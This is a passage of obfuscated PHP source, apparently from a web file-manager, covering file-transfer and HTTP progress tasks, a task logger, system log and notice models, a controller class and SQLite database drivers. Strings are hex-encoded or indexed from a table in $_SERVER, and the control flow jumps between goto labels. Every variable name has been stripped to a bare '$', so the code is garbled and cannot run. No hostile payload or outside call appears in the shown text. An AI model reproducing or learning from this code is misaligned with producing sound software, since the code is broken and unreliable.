$[2094]; $->where($)->setField($[517], 1); } private function recycleMove($, $ = 1) { $ =& $_SERVER[]; $ = Model($[1437]); $ = Model($[2326]); $ = array($[194] => $); if ($) { $->where($)->setField($[517], 1); $->eventRecycle($, $[2327]); } else { $ = $->where($)->find(); $ = $[$[497]] == $[91]; $ = $->fileNameAuto($[$[193]], $[$[32]], REPEAT_RENAME_FOLDER, $); if ($ != $[$[32]]) { $->rename($, $); } $->where($)->setField($[517], 0); $->eventRecycle($, $[2328]); } } } goto F; d: class TaskFileTransfer extends Task { protected function startAfter() { $ =& $_SERVER[]; $ =& $this->task; $this->sourceCopyFolder = !1; Hook::bind($[1822], array($this, $[1823])); Hook::bind($[1324], array($this, $[1824])); Hook::bind($[1825], array($this, $[1826])); Hook::bind($[685], array($this, $[1827])); Hook::bind($[686], array($this, $[1828])); Hook::bind($[692], array($this, $[1829])); Hook::bind($[693], array($this, $[1830])); Hook::bind($[688], array($this, $[1831])); Hook::bind($[690], array($this, $[1832])); Hook::bind($[654], array($this, $[1833])); Hook::bind($[651], array($this, $[1833])); Hook::bind($[656], array($this, $[1833])); Hook::bind($[658], array($this, $[1833])); Hook::bind($[660], array($this, $[1833])); Hook::bind($[1834], array($this, $[1835])); Hook::bind($[676], array($this, $[1836])); $this->sourceModelCopyFlag = !1; Hook::bind($[1837], array($this, $[1838])); Hook::bind($[1839], array($this, $[1840])); Hook::bind($[1841], array($this, $[1842])); $[$[1843]] = LNG($[1844]); $[$[1845]] = 0; $[$[1846]] = 0; $[$[1158]] = $[12]; $[$[1847]] = $[12]; $[$[1848]] = 0; $[$[1849]] = 0; $[$[1850]] = 0; if (!$[$[1677]]) { $[$[1677]] = LNG($[1851]); } } protected function endAfter() { $ =& $_SERVER[]; Hook::unbind($[1822], array($this, $[1823])); Hook::unbind($[1324], array($this, $[1824])); Hook::unbind($[1825], array($this, $[1826])); Hook::unbind($[685], array($this, $[1827])); Hook::unbind($[686], array($this, $[1828])); Hook::unbind($[692], array($this, $[1829])); Hook::unbind($[693], array($this, $[1830])); Hook::unbind($[688], array($this, $[1831])); Hook::unbind($[690], array($this, $[1832])); Hook::unbind($[654], array($this, $[1833])); Hook::unbind($[651], array($this, $[1833])); Hook::unbind($[656], array($this, $[1833])); Hook::unbind($[658], array($this, $[1833])); Hook::unbind($[660], array($this, $[1833])); Hook::unbind($[1834], array($this, $[1835])); Hook::unbind($[676], array($this, $[1836])); Hook::unbind($[1837], array($this, $[1838])); Hook::unbind($[1839], array($this, $[1840])); Hook::unbind($[1841], array($this, $[1842])); } public function copyMoveStart($, $, $, $) { $ =& $_SERVER[]; self::log($[1852] . $ . $[73] . $); $ = rtrim(TEMP_FILES, $[8]); if (substr($, 0, strlen($)) == $) { return; } if (substr($, 0, strlen($)) == $) { return; } $ =& $this->task; $[$[1853]] = KodIO::transferType($, $); $this->update(); } public function updateAfter() { $ =& $_SERVER[]; $ =& $this->task; if (!$[$[853]]) { return; } if ($this->sourceModelCopyFlag) { return; } if ($[$[1853]] == $[1418]) { return; } self::updateTask($); } private static function updateTask(&$) { $ =& $_SERVER[]; if ($[$[1853]] == $[1295] || $[$[1853]] == $[110]) { if ($[$[1847]]) { $[$[1850]] = $[$[1849]] + $[$[1846]]; } } else { if ($[$[1853]] == $[1419]) { if ($[$[1847]] == $[1295]) { $[$[1850]] = $[$[1849]] + $[$[1846]] * 0.5; } else { if ($[$[1847]] == $[110]) { $[$[1850]] = $[$[1849]] + $[$[1845]] * 0.5 + $[$[1846]] * 0.5; } } } } $[$[1793]] = $[$[1850]] / $[$[853]]; if ($[$[1793]] > 0) { $ = timeFloat() - $[$[1795]] - $[$[1798]]; $[$[1799]] = $ * (1 - $[$[1793]]) / $[$[1793]]; } } public function addPath($) { $ =& $_SERVER[]; if (!$) { return; } $ =& $this->task; $ = IO::infoWithChildren($); $ = $[$[1854]] ? $[$[1854]][$[1855]] : 0; $[$[1854]] = array($[1855] => $ + 1, $[506] => $[$[32]], $[87] => $[$[87]], $[596] => $[$[596]] ? $[$[596]] : $[$[87]]); if ($[$[33]] == $[233]) { $[$[1156]] += 1; } else { $[$[1156]] += $[$[82]][$[80]]; if ($[$[194]]) { $[$[1156]] += $[$[82]][$[81]] + 1; } } $[$[853]] += $[$[79]]; $this->update(); } public function sourceCopyFolderStart() { $this->sourceCopyFolder = !0; } public function sourceCopyFolderEnd() { $this->sourceCopyFolder = !1; } public function sourceAddHashStart($) { } public function sourceAddHashEnd($) { } public function sourceAddFileStart($) { $ =& $_SERVER[]; $ =& $this->task; $[$[1845]] = $[$[79]]; $[$[1843]] = $[$[32]]; $[$[1158]] = $[$[32]]; $[$[1856]] = $[$[87]]; $this->update(); } public function sourceAddFileEnd($) { $ =& $_SERVER[]; $ =& $this->task; $[$[1850]] += $[$[79]]; $[$[1856]] = $[$[87]]; $this->update(1); } public function copyFileStart($, $, $, $, $, $) { $ =& $_SERVER[]; $ = $; if ($ == $GLOBALS[$[1857]]) { $ = $GLOBALS[$[1858]]; } $GLOBALS[$[1858]] = $; $GLOBALS[$[1857]] = $; $ =& $this->task; $[$[1843]] = $; $[$[1845]] = (int) $->size($); $[$[1846]] = 0; $[$[1158]] = $[12]; $[$[1847]] = $[12]; $[$[1848]] = 0; $ = $[$[1845]] > 1024 * 1024 * 10 ? !0 : !1; Cache::remove($[$[487]] . $[1859]); if ($ && file_exists(get_path_father($))) { Cache::set($[$[487]] . $[1859], $); $[$[1816]] = array($[1860], $[1861]); } $this->update(0, $); } public static function updateCopyLocalFileSize($) { $ =& $_SERVER[]; $ = Cache::get($[$[487]] . $[1859]); if (!$ || !file_exists($)) { return $; } $[$[1846]] = @filesize($); $[$[1850]] += $[$[1846]]; self::updateTask($); return $; } public function copyFileEnd($, $, $, $, $, $) { $ =& $_SERVER[]; $ =& $this->task; $[$[1846]] = $[$[1845]]; $[$[1847]] = $[12]; unset($[$[1816]]); if ($ == $[$[1843]]) { $[$[1849]] += $[$[1845]]; $[$[1850]] = $[$[1849]]; $ = 1; if (isset($[$[1856]]) && $[$[1856]] == $) { $ = 0; } $this->update($); } else { $this->update(); $[$[1846]] = 0; } Cache::remove($[$[487]] . $[1859]); self::log($[1862] . $ . $[73] . $ . $[288] . $ . $[1863] . $[$[1843]]); } public function updateFileEnd($, $) { $ =& $_SERVER[]; $ =& $this->task; $[$[1843]] = $; $[$[1845]] = $; $[$[1849]] += $; $[$[1850]] = $[$[1849]]; $this->update(1); self::log($[1864] . $); } public function sourceModelCopy($) { $ =& $_SERVER[]; $ = $[0]; $ = $[1]; $ =& $this->task; $this->sourceModelCopyFlag = !0; $ = 0; switch ($) { case $[652]: $ = 1; break; case $[655]: $[$[1843]] = $[$[32]]; break; case $[657]: $ = intval($[$[468]] * 0.4); break; case $[659]: $ = intval($[$[468]] * 0.2); break; case $[661]: $ = intval($[$[468]] * 0.4); break; } $this->update($); $this->sourceModelCopyFlag = !1; } public function sourceRemove($, $) { $ =& $_SERVER[]; $this->sourceModelCopyFlag = !0; $ = 1; if (isset($[$[82]])) { $ = $[$[82]][$[80]]; $ = $ + $[$[82]][$[81]] + 1; } $this->update($); $this->sourceModelCopyFlag = !1; } public function sourceMove($) { $this->sourceRemove($, !1); } public function curlProgress($, $, $, $, $) { $ =& $_SERVER[]; $ =& $this->task; if ($ > 0) { $[$[1158]] = $[1865]; $[$[1847]] = $[110]; if ($[$[1845]]) { $[$[1846]] = $; } if ($[$[1848]]) { $[$[1846]] = $ + $[$[1848]]; } } else { if ($ > 0) { if ($[$[1845]] == $) { $[$[1846]] = $; $[$[1158]] = $[1866]; $[$[1847]] = $[1295]; } } } $this->update(); } public function curlProgressStart($) { } public function curlProgressEnd($) { $ =& $_SERVER[]; $ =& $this->task; $ = curl_getinfo($); $ = $[$[1867]]; if ($ == -1) { $ = $[$[1868]]; } if ($[$[1847]] == $[110] && $) { $[$[1848]] += $; } $this->update(); } } class TaskHttp extends Task { protected function startAfter() { $ =& $_SERVER[]; $ =& $this->task; $[$[1869]] = 1; Hook::bind($[1837], array($this, $[1870])); Hook::bind($[1839], array($this, $[1871])); Hook::bind($[1841], array($this, $[1872])); } protected function endAfter() { $ =& $_SERVER[]; Hook::unbind($[1837], array($this, $[1870])); Hook::unbind($[1839], array($this, $[1871])); Hook::unbind($[1841], array($this, $[1872])); } public function progressStart($) { $ =& $_SERVER[]; $ = curl_getinfo($); self::log($[1873] . $[$[394]]); self::valueSet($this->task[$[487]], $this->task); } public function progressEnd($) { $ =& $_SERVER[]; self::log($[1874] . $this->task[$[487]]); $this->end(); } public function progress($, $, $, $, $) { $ =& $_SERVER[]; $ =& $this->task; if ($ > 0) { $[$[1156]] = $[$[1156]] == 0 ? $ : $[$[1156]]; $[$[1792]] = $; } else { if ($ > 0) { $[$[1156]] = $[$[1156]] == 0 ? $ : $[$[1156]]; $[$[1792]] = $; } } $this->update(); self::log("\160\x72\157\147\x72\x65\163\163\110\164\x74\160\x3a\x64\157\x77\156\72{$}\x2f{$}\73\x20\165\x70\x6c\157\141\x64\x3a{$}\x2f{$}\x3b"); } } class TaskLog { private $task; private $taskID; private $isEnd = false; static function newTask($, $ = '', $ = 0, $ = '') { $ =& $_SERVER[]; $ = $ ? $ : ($ ? $ : $); $ = new Task($, $, $, $); $GLOBALS[$[1875] . $] = new TaskLog($[1774], $, $); return $; } public function __construct($ = '', $ = '', $ = '') { $ =& $_SERVER[]; if (!$) { $ = $[1774]; } $ = $ . $[474] . rand_string(10); if (!$) { $ = $ . $[53] . $; } switch ($) { case $[1774]: if (!$ || !$->task) { return echoLog($ . $[1876]); } $ = $; $ = $->task[$[487]]; $ = $->task[$[487]]; if (!$->task[$[1677]]) { $->task[$[1677]] = $ ? $ : $; } break; case $[1877]: if (!$) { return echoLog($ . $[1878]); } $ = is_string($) ? array($) : $; $ = new TaskFileTransfer($, $, 0, $ ? $ : $[0]); foreach ($ as $) { $->addPath($); } break; case $[400]: if (!$) { return echoLog($ . $[1878]); } $ = is_string($) ? array($) : $; $ = new TaskZip($, $, 0, $ ? $ : $[0]); foreach ($ as $) { $->addPath($); } break; case $[1315]: if (!$) { return echoLog($ . $[1878]); } $ = new TaskUnZip($, $, 0, $ ? $ : $); if ($) { $->addFile($); } break; case $[152]: $ = new TaskHttp($, $); break; default: return; break; } $this->task = $; $this->taskID = $; Hook::bind($[1812], array($this, $[1879])); Hook::bind($[1814], array($this, $[1880])); Hook::bind($[1808], array($this, $[1881])); echoLog($[1882] . $->task[$[1677]]); } public function __destruct() { $this->end(); } public function end($ = '') { $ =& $_SERVER[]; if ($this->isEnd) { return; } if (!$this->task || !$this->taskID) { return; } $this->isEnd = !0; $this->task->end($); $this->task = !1; $this->taskID = !1; Hook::unbind($[1812], array($this, $[1879])); Hook::unbind($[1814], array($this, $[1880])); Hook::unbind($[1808], array($this, $[1881])); } public function taskUpdate($) { $ =& $_SERVER[]; if (!$ || $this->taskID != $[$[487]]) { return; } $ = 20; $ = intval($[$[1793]] * $); $ = $[176] . str_repeat($[518], $) . $[1107] . str_repeat($[53], $ - $) . $[178]; $ = $ . sprintf($[1883], $[$[1793]] * 100) . $[1884]; $ = $ . $[$[1792]] . $[8] . $[$[1156]] . LNG($[1885]); $ = $[12]; if ($[$[1869]]) { $ = $ . size_format($[$[1792]]) . $[8] . size_format($[$[1156]]); $ = size_format($[$[1794]]) . $[1886]; } if ($[$[1158]]) { $[$[1843]] = $[$[1158]] . $[53] . $[$[1843]]; } if ($[$[1843]]) { $ = $[12]; if ($[$[1845]]) { $ = $[50] . size_format($[$[1846]]) . $[8] . size_format($[$[1845]]); } $ .= $[$[1843]] . $; } if ($[$[853]] && !$[$[1845]]) { $ .= $[53] . size_format($[$[1850]]) . $[8] . size_format($[$[853]]); } echoLog($ . $[53] . $, !0); } public function taskEnd($) { $ =& $_SERVER[]; if (!$ || $this->taskID != $[$[487]]) { return; } $ = $ ? LNG($[1887]) . $[4] . $[$[1792]] . $[8] . $[$[1156]] . LNG($[1885]) . $[74] : $[12]; echoLog($[1888] . $[$[1677]] . ($[$[538]] ? $[74] . $[$[538]] : $[12]) . $[74] . $ . $[1889] . sprintf($[947], timeFloat() - $[$[1795]]) . $[1807]); $this->end(); } public function taskKill($) { $ =& $_SERVER[]; if (!$ || $this->taskID != $[$[487]]) { return; } echoLog($[1890] . $[$[1677]]); } } goto e; c: class SystemLogModel extends ModelBase { protected $tableName = "\x73\171\163\164\x65\155\137\x6c\157\147"; protected $dataAuto = array(array("\x63\162\145\141\x74\145\124\151\x6d\x65", "\164\151\x6d\145", "\x69\156\x73\x65\x72\164", "\146\165\x6e\x63\x74\x69\x6f\x6e")); public $typeList; function __construct() { parent::__construct(); $this->typeList = $this->typeListAll(); } public function typeListAll() { $ =& $_SERVER[]; return array($[2366] => LNG($[2367]), $[2368] => LNG($[2369]), $[1934] => LNG($[2370]), $[2371] => LNG($[2372]), $[2373] => LNG($[2374]), $[2375] => LNG($[2376]), $[2377] => LNG($[2378]), $[1964] => LNG($[2378]), $[1965] => LNG($[2379]), $[2380] => LNG($[2381]), $[2382] => LNG($[2383]), $[2384] => LNG($[2385]), $[2386] => LNG($[2387]), $[1962] => LNG($[2388]), $[2389] => LNG($[2390]), $[1969] => LNG($[2391]), $[2392] => LNG($[2393]), $[2394] => LNG($[2395]), $[2396] => LNG($[2397]), $[2398] => LNG($[2399]), $[1972] => LNG($[2400]), $[1973] => LNG($[2401]), $[2402] => LNG($[2403]), $[2404] => LNG($[2405]), $[2406] => LNG($[2407]), $[1967] => LNG($[2408]), $[2409] => LNG($[2410]), $[1966] => LNG($[2411]), $[2412] => LNG($[2412]), $[2413] => LNG($[2414]), $[2415] => LNG($[2412]), $[2416] => LNG($[2417]), $[2418] => LNG($[2419]), $[2420] => LNG($[2419]), $[2421] => LNG($[2422]), $[2423] => LNG($[2423]), $[2424] => LNG($[1938]), $[2425] => LNG($[2426]), $[2427] => LNG($[2428]), $[2429] => LNG($[2430]), $[2431] => LNG($[2432]), $[2433] => LNG($[2434]), $[2435] => LNG($[2435]), $[2436] => LNG($[2437]), $[2438] => LNG($[2439]), $[2440] => LNG($[2441]), $[2442] => LNG($[2443]), $[2444] => LNG($[2445]), $[2446] => LNG($[2447]), $[213] => LNG($[213]), $[214] => LNG($[2448]), $[2449] => LNG($[2449])); } private function typeFile() { $ =& $_SERVER[]; $ = array($[1969] => array($[1970]), $[2384] => array($[2450]), $[2386] => array($[2451]), $[1962] => array($[1963], $[2452]), $[2394] => array(), $[2396] => array(), $[2398] => array(), $[1972] => array($[1974]), $[1973] => array($[1974]), $[2402] => array($[2453]), $[2404] => array($[2453]), $[2406] => array($[2454]), $[2392] => array($[2455]), $[1967] => array($[2456]), $[2409] => array($[2457]), $[1966] => array($[1968])); return $; } private function typeAll() { $ =& $_SERVER[]; $ = $this->typeList; $ = array_filter($this->typeFile()); foreach ($ as $ => $) { $[$[0]] = $[$]; } $[$[1974]] = LNG($[2458]); $[$[2453]] = LNG($[2459]); return $; } public function addLog($, $ = array()) { $ =& $_SERVER[]; if (!isset($this->typeList[$])) { return; } $ = Session::get($[2133]); if (!$) { $ = _get($, $[1791], 0); } if ($ == $[2425] && is_array($[$[2460]]) && !$[$[2460]]) { return; } $ = get_client_ip(); if (!$ || strlen(json_encode($)) >= 1024 * 64) { if ($ && is_array($)) { $ = array_intersect_key($, array_flip($[487], $[32])); $[$[2461]] = $; } else { $ = array($[2461] => $); } } else { if (is_array($)) { $[$[2461]] = $; } else { $ = array($[1303] => $, $[2461] => $); } } $ = array($[1781] => Session::sign(), $[1782] => intval($), $[33] => $, $[1784] => json_encode($)); return parent::add($); } public function remove($) { $this->where(array($_SERVER[][505] => $))->delete(); } private function _makeOrder($ = '') { $ =& $_SERVER[]; $ = $[234]; $ = array($[535] => $[536], $[537] => $[538]); $ = Input::get($[543], $[7], $[2173], array($[2087], $[537])); $ = $[$]; $ = $ . "{$}\x20{$}"; return $this->order($); } public function get($ = '') { $ =& $_SERVER[]; if (!$) { show_json(array()); } $ = array(); if ($[$[1791]]) { $[$[1791]] = $[$[1791]]; } if (isset($[$[850]])) { $ = $[$[850]]; $ = isset($[$[851]]) ? $[$[851]] : time(); $[$[234]] = array($[420], array($, $)); } if ($[$[33]]) { $ = explode($[50], $[$[33]]); $ = $this->typeFile(); $ = array(); foreach ($ as $) { $[] = $; if (isset($[$])) { $ = array_merge($, $[$]); } } $ = array_unique($); if ($) { $[$[33]] = array($[7], $); } } else { $[$[33]] = array($[2462], $[2463]); } if (!empty($[$[2461]])) { $[$[538]] = array($[471], "\45{$[$[2461]]}\45"); } $ = $this->_makeOrder()->where($)->selectPage(); if (empty($[$[457]])) { show_json(array(), !0, $[$[454]]); } $[$[457]] = $this->logList($[$[457]]); return $; } private function ipAddress(&$) { $ =& $_SERVER[]; if (!empty($[$[2461]])) { $ = IpLocation::get($[$[2461]]); } else { $ = LNG($[2464]); } $[$[2465]] = $; } private function descZipDownload($, &$) { $ =& $_SERVER[]; if (!isset($[$[2466]])) { return; } $ = json_decode($[$[2466]], !0); foreach ($ as $) { try { $ = IO::infoFullSimple($[$[87]]); } catch (Exception $) { continue; } $[$[87]] = $[$[87]]; $[] = $[$[194]] = $[$[194]]; $[] = $[$[2229]] = $[$[193]]; break; } return $; } private function getSourceList(&$) { $ =& $_SERVER[]; $ = array(); foreach ($ as $ => $) { $ = json_decode($[$[538]], !0); if ($[$[33]] == $[1965]) { $ = $this->descZipDownload($, $); $[$][$[538]] = json_encode($); continue; } if (strpos($[$[33]], $[2231]) !== 0) { if (!isset($[$[87]]) || strpos($[$[33]], $[2467]) !== 0) { continue; } try { $ = IO::infoFullSimple($[$[87]]); } catch (Exception $) { continue; } $[] = $[$[194]] = $[$[194]]; $[] = $[$[2229]] = $[$[193]]; $[$][$[538]] = json_encode($); continue; } $[] = $[$[194]]; $[] = $[$[2229]]; if ($[$[33]] == $[637]) { $[] = $[$[538]][$[1257]]; $[] = $[$[538]][$[1258]]; } if ($[$[33]] == $[2240]) { $[] = $[$[538]][$[194]]; } } if (!$) { return array(); } return Model($[920])->sourceListInfo($, !0); } private function logList($) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[1791]); $ = Model($[611])->userListInfo(array_unique($)); $ = $this->getSourceList($); $ = $this->typeAll(); $ = array(); $ = array(); foreach ($ as $ => $) { $ = $[$[33]]; $ = isset($[$[$[1791]]]) ? $[$[$[1791]]] : !1; $ = strpos($, $[2468]) === 0 ? LNG($[2469]) : LNG($[2464]); $[$[32]] = isset($[$[32]]) ? $[$[32]] : LNG($[2464]); $[$[2291]] = isset($[$[2291]]) ? $[$[2291]] : $[12]; $[$[1677]] = isset($[$]) ? $[$] : $; $[$[2172]] = $; $ = json_decode($[$[538]], !0); $[$[2461]] = isset($[$[2461]]) ? $[$[2461]] : $[12]; $[$[2465]] = IpLocation::get($[$[2461]]); if (strpos($, $[2231]) === 0 || isset($[$[2229]])) { $[$[90]] = $[$[$[194]]]; $[$[2245]] = $[$[$[2229]]]; if ($[$[33]] == $[637]) { $[$[538]][$[1257]] = $[$[$[538]][$[1257]]]; $[$[538]][$[1258]] = $[$[$[538]][$[1258]]]; } if ($[$[33]] == $[2240]) { $[$[538]][$[194]] = $[$[$[538]][$[194]]]; } if ($[$[33]] == $[1960]) { $[$[2245]] = $[$[90]]; $[$[2229]] = $[$[2245]][$[194]]; $[$[90]] = !1; $[$[194]] = $[12]; } $ = array($[1960], $[2227]); if (!in_array($[$[33]], $)) { if ($[$[90]] && $[$[90]][$[191]] == $[192]) { $[] = $[$[487]]; unset($[$]); continue; } if ($[$[2245]] && $[$[2245]][$[191]] == $[192]) { $[] = $[$[487]]; unset($[$]); continue; } } } $[$[538]] = $; unset($[$[2470]]); $[] = $; } $this->clearSystemPathLog($); return $; } private function clearSystemPathLog($) { $ =& $_SERVER[]; if (count($) == 0) { return; } $ = array($[487] => array($[7], array_unique($))); $this->where($)->delete(); } public function deviceList($, $ = 0) { $ =& $_SERVER[]; $ = array($[1791] => $, $[234] => array($[1107], $), $[33] => $[1934]); $ = array(); $ = $this->field($[2471])->where($)->order($[2243])->limit(50)->select(); foreach ($ as $ => $) { if ($ > 0 && abs($[$[234]] - $[$ - 1][$[234]]) < 5) { continue; } $ = json_decode($[$[538]], !0); $[$[2461]] = isset($[$[2461]]) ? $[$[2461]] : $[12]; unset($[$[2461]]); $ = $this->deviceType($[$[2232]]); if (isset($[$])) { continue; } $[$[2465]] = IpLocation::get($[$[2461]]); $[$[538]] = $; $[$] = $; } return array_values($); } public function deviceType($) { return $; } } class SystemNoticeModel extends ModelBaseLight { public $optionType = "\x53\x79\163\164\145\155\x2e\x6e\157\x74\x69\143\x65\x4c\151\x73\164"; public $field = array("\156\141\x6d\x65", "\143\x6f\x6e\164\x65\156\x74", "\141\x75\x74\150", "\155\157\144\x65", "\x74\x69\x6d\x65", "\164\x79\160\145", "\x6c\145\166\145\154", "\145\x6e\141\x62\x6c\145", "\163\157\162\164"); public function listData($ = false, $ = "\163\x6f\162\164", $ = false) { return parent::listData($, $, $); } public function add($) { $ =& $_SERVER[]; $ = time(); if ($[$[16]] == $[2472]) { $ = strtotime($[$[207]]); } $[$[207]] = $; return parent::insert($); } public function update($, $) { $ =& $_SERVER[]; $ = $this->listData($); if (!$) { return !1; } $ = time(); if ($[$[16]] == $[2472]) { $ = strtotime($[$[207]]); } $[$[207]] = $; return parent::update($, $); } public function remove($) { $ = $this->listData($); if (!$ || $[$_SERVER[][192]]) { return !1; } return parent::remove($); } public function sort($, $) { return parent::update($, $); } public function enable($, $) { return parent::update($, array($_SERVER[][2473] => $)); } private function initUserOption() { $ =& $_SERVER[]; $this->optionType = $[2474]; $this->modelType = $[2475]; $this->field = array($[2476], $[32], $[207], $[33], $[2477], $[840], $[229]); } public function userNoticeGet($ = false) { $this->initUserOption(); return parent::listData($, $_SERVER[][487], !0); } public function userNoticeAdd($) { $ =& $_SERVER[]; $this->initUserOption(); $ = $this->findByKey($[2476], $[$[487]]); if ($) { return !0; } $ = array($[2476] => $[$[487]], $[32] => $[$[32]], $[207] => $[$[207]], $[33] => isset($[$[33]]) ? $[$[33]] : 1, $[2477] => isset($[$[2477]]) ? $[$[2477]] : 0, $[840] => 0, $[229] => 0); return parent::insert($); } public function userNoticeEdit($, $) { $this->initUserOption(); return parent::update($, $); } } class SystemOptionModel extends ModelBaseOption { protected $tableName = "\x73\171\163\164\x65\x6d\137\157\x70\164\x69\157\x6e"; protected $jsonField = array("\155\145\x6e\165", "\x72\x6f\x6c\145", "\x72\157\x6c\145\x47\x72\x6f\165\x70", "\x72\x65\147\151\x73\164", "\x65\155\x61\151\154"); function __construct() { parent::__construct(); } protected function cacheKey($) { return "\x53\171\x73\x74\145\155\117\x70\164\151\157\x6e\x5f{$}"; } protected function optionDefault($ = '') { $ =& $_SERVER[]; if ($ == $[12]) { return $GLOBALS[$[6]][$[469]]; } } } goto a; a: class Controller extends ClassBaseCall { public $in; public $config; public $tpl; public $values; function __construct() { $ =& $_SERVER[]; global $in, $config; $this->config =& $config; $this->in =& $in; $this->values[$[6]] =& $config; $this->values[$[7]] =& $in; $this->tpl = TEMPLATE . MOD . $[8]; $this->_classObjectID = mt_rand(0, 10000); } public function loadClass($) { if (1 === func_num_args()) { $this->{$} = new $(); } else { $ = new ReflectionClass($); $ = func_get_args(); array_shift($); $this->{$} = $->newInstanceArgs($); } return $this->{$}; } public function routeBind($, $, $ = 3) { $ =& $_SERVER[]; $ = $this->in[$[9]]; $ = str_replace($[10], $[11], trim(trim($, $[8]), $[12])); if (!$ || count($) <= $) { return !1; } $ = !0; $ = explode($[8], $); for ($ = 0; $ < count($); $++) { if ($[$] != $[$ + $]) { $ = !1; break; } } if (!$) { return; } call_user_func_array(array($this, $), array()); } public function routeArgs($ = 3) { $ = $this->in[$_SERVER[][9]]; if (count($) <= $) { return array(); } $ = array(); for ($ = $; $ < count($); $ += 2) { $[$[$]] = $[$ + 1]; $this->in[$[$]] = $[$ + 1]; } return $; } protected function assign($, $) { $this->values[$] = $; } protected function display($) { ob_end_clean(); extract($this->values); require $this->tpl . $; } } class DbSqliteBase extends Db { public function __construct($ = '') { $ =& $_SERVER[]; if (!extension_loaded($[13])) { think_exception(think_lang($[14]) . $[15]); } if (!empty($)) { if (!isset($[$[16]])) { $[$[16]] = 438; } $this->config = $; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($ = '', $ = 0) { $ =& $_SERVER[]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->config; } $ = !empty($[$[17]][$[18]]) ? $[$[17]][$[18]] : $this->pconnect; $ = $ ? $[19] : $[20]; $this->linkID[$] = $($[$[21]], $[$[16]]); if (!$this->linkID[$]) { think_exception(sqlite_error_string()); } $this->connected = !0; @sqlite_busy_timeout($this->linkID[$], 30000); if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID = null; } public function query($) { $ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = sqlite_query($this->_linkID, $); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = sqlite_num_rows($this->queryID); $ = $this->getAll(); return $; } } public function execute($) { $ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $ = sqlite_exec($this->_linkID, $); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = sqlite_changes($this->_linkID); $this->lastInsID = sqlite_last_insert_rowid($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { sqlite_query($this->_linkID, $_SERVER[][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = sqlite_query($this->_linkID, $_SERVER[][27]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = sqlite_query($this->_linkID, $_SERVER[][28]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $ = array(); if ($this->numRows > 0) { for ($ = 0; $ < $this->numRows; $++) { $[$] = sqlite_fetch_array($this->queryID, SQLITE_ASSOC); } sqlite_seek($this->queryID, 0); } return $; } public function getFields($) { $ =& $_SERVER[]; $ = $this->query($[29] . $ . $[30]); $ = array(); if ($) { foreach ($ as $ => $) { $[$[$[31]]] = array($[32] => $[$[31]], $[33] => $[$[34]], $[35] => (bool) ($[$[36]] === $[12]), $[37] => $[$[38]], $[39] => strtolower($[$[40]]) == $[41], $[42] => strtolower($[$[43]]) == $[44]); } } return $; } public function getTables($ = '') { $ =& $_SERVER[]; $ = $this->query($[45] . $[46] . $[47]); $ = array(); foreach ($ as $ => $) { $[$] = current($); } return $; } public function close() { if ($this->_linkID) { sqlite_close($this->_linkID); } $this->_linkID = null; } public function error() { $ =& $_SERVER[]; $ = sqlite_last_error($this->_linkID); $this->error = $ . $[4] . sqlite_error_string($); if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($) { return sqlite_escape_string($); } public function parseLimit($) { $ =& $_SERVER[]; $ = $[12]; if (!empty($)) { $ = explode($[50], $); if (count($) > 1) { $ .= $[51] . $[1] . $[52] . $[0] . $[53]; } else { $ .= $[51] . $[0] . $[53]; } } return $; } } class DbSqlite3Base extends Db { public function __construct($ = '') { $ =& $_SERVER[]; if (!class_exists($[54])) { think_exception(think_lang($[14]) . $[55]); } if (!empty($)) { if (!isset($[$[16]])) { $[$[16]] = 438; } $this->config = $; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($ = '', $ = 0) { $ =& $_SERVER[]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->config; } $this->linkID[$] = new SQLite3($[$[21]]); if (!$this->linkID[$]) { think_exception($this->linkID[$]->lastErrorMsg()); } $this->connected = !0; @$this->linkID[$]->busyTimeout(30000); if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID = null; } public function query($) { $ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = $this->_linkID->query($); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $ = $this->getAll(); $this->numRows = count($); return $; } } public function execute($) { $ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $ = $this->_linkID->exec($); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->changes(); $this->lastInsID = $this->_linkID->lastInsertRowID(); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->query($_SERVER[][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->query($_SERVER[][27]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->query($_SERVER[][28]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $ = array(); while ($ = $this->queryID->fetchArray(SQLITE3_ASSOC)) { $[] = $; } $this->queryID->reset(); return $; } public function getFields($) { $ =& $_SERVER[]; $ = $this->query($[29] . $ . $[30]); $ = array(); if ($) { 